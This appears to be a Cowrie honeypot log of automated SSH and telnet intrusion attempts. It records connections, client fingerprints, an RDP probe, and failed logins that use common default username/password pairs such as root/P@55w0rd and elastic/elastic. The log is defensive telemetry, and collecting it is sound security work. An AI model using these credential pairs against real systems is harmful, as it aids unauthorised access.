{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:20.449802Z","src_ip":"83.168.110.85","session":"eec5c1f616a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:20.812826Z","src_ip":"83.168.110.85","session":"eec5c1f616a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:21.946210Z","src_ip":"83.168.110.85","session":"eec5c1f616a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":47874,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bd1bfdb1de8","protocol":"ssh","message":"New connection: 83.168.110.85:47874 (10.17.0.5:22) [session: 6bd1bfdb1de8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:27.363377Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:27.465693Z","src_ip":"83.168.110.85","session":"6bd1bfdb1de8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:27.681324Z","src_ip":"83.168.110.85","session":"6bd1bfdb1de8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:28.101935Z","src_ip":"83.168.110.85","session":"6bd1bfdb1de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:29.325047Z","src_ip":"83.168.110.85","session":"6bd1bfdb1de8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.01674246788025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:31.039903Z","src_ip":"152.42.224.71","session":"5063c9e8e8c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43882,"dst_ip":"10.17.0.5","dst_port":22,"session":"3955acd66a9b","protocol":"ssh","message":"New connection: 83.168.110.85:43882 (10.17.0.5:22) [session: 3955acd66a9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:34.769398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:34.774771Z","src_ip":"83.168.110.85","session":"3955acd66a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":17.668817281723022,"message":"Connection lost after 17 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:34.886830Z","src_ip":"152.42.224.71","session":"cc465e078f00","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:34.901989Z","src_ip":"83.168.110.85","session":"3955acd66a9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:35.269538Z","src_ip":"83.168.110.85","session":"3955acd66a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:36.562443Z","src_ip":"83.168.110.85","session":"3955acd66a9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":29.154985427856445,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:39.389577Z","src_ip":"152.42.224.71","session":"a5807f767888","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":43892,"dst_ip":"10.17.0.5","dst_port":22,"session":"db6ac8fba2da","protocol":"ssh","message":"New connection: 83.168.110.85:43892 (10.17.0.5:22) [session: db6ac8fba2da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:41.703603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:41.708562Z","src_ip":"83.168.110.85","session":"db6ac8fba2da","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:41.829321Z","src_ip":"83.168.110.85","session":"db6ac8fba2da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic","message":"login attempt [elastic/elastic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:42.195321Z","src_ip":"83.168.110.85","session":"db6ac8fba2da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:43.319249Z","src_ip":"83.168.110.85","session":"db6ac8fba2da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":61481,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a5f7eb89690","protocol":"ssh","message":"New connection: 152.42.212.128:61481 (10.17.0.5:22) [session: 6a5f7eb89690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:45.257090Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:45.265703Z","src_ip":"152.42.212.128","session":"6a5f7eb89690","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:45.269686Z","src_ip":"152.42.212.128","session":"6a5f7eb89690","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57414,"dst_ip":"10.17.0.5","dst_port":22,"session":"b945c3c9a21b","protocol":"ssh","message":"New connection: 83.168.110.85:57414 (10.17.0.5:22) [session: b945c3c9a21b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:49.168483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:49.172519Z","src_ip":"83.168.110.85","session":"b945c3c9a21b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:49.292894Z","src_ip":"83.168.110.85","session":"b945c3c9a21b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"plex","password":"plex","message":"login attempt [plex/plex] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:49.653952Z","src_ip":"83.168.110.85","session":"b945c3c9a21b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:50.989506Z","src_ip":"83.168.110.85","session":"b945c3c9a21b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":54496,"dst_ip":"10.17.0.5","dst_port":22,"session":"b9b837fcf631","protocol":"ssh","message":"New connection: 103.98.149.87:54496 (10.17.0.5:22) [session: b9b837fcf631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:53.883579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:53.967617Z","src_ip":"103.98.149.87","session":"b9b837fcf631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:54.131191Z","src_ip":"103.98.149.87","session":"b9b837fcf631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789m","message":"login attempt [root/123456789m] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:55.043407Z","src_ip":"103.98.149.87","session":"b9b837fcf631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41404,"dst_ip":"10.17.0.5","dst_port":22,"session":"65c4bacaf1a6","protocol":"ssh","message":"New connection: 83.168.110.85:41404 (10.17.0.5:22) [session: 65c4bacaf1a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:56.233179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:56.238067Z","src_ip":"83.168.110.85","session":"65c4bacaf1a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:56.270896Z","src_ip":"103.98.149.87","session":"b9b837fcf631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:56.359394Z","src_ip":"83.168.110.85","session":"65c4bacaf1a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"111111","message":"login attempt [user/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:56.727238Z","src_ip":"83.168.110.85","session":"65c4bacaf1a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:34:57.952899Z","src_ip":"83.168.110.85","session":"65c4bacaf1a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":41418,"dst_ip":"10.17.0.5","dst_port":22,"session":"27baa3439fcd","protocol":"ssh","message":"New connection: 83.168.110.85:41418 (10.17.0.5:22) [session: 27baa3439fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:03.182966Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:03.189607Z","src_ip":"83.168.110.85","session":"27baa3439fcd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:03.316654Z","src_ip":"83.168.110.85","session":"27baa3439fcd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"angel","password":"angel","message":"login attempt [angel/angel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:03.893432Z","src_ip":"83.168.110.85","session":"27baa3439fcd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T18:35:05.021430Z","src_ip":"83.168.110.85","session":"27baa3439fcd","protocol":"ssh"}
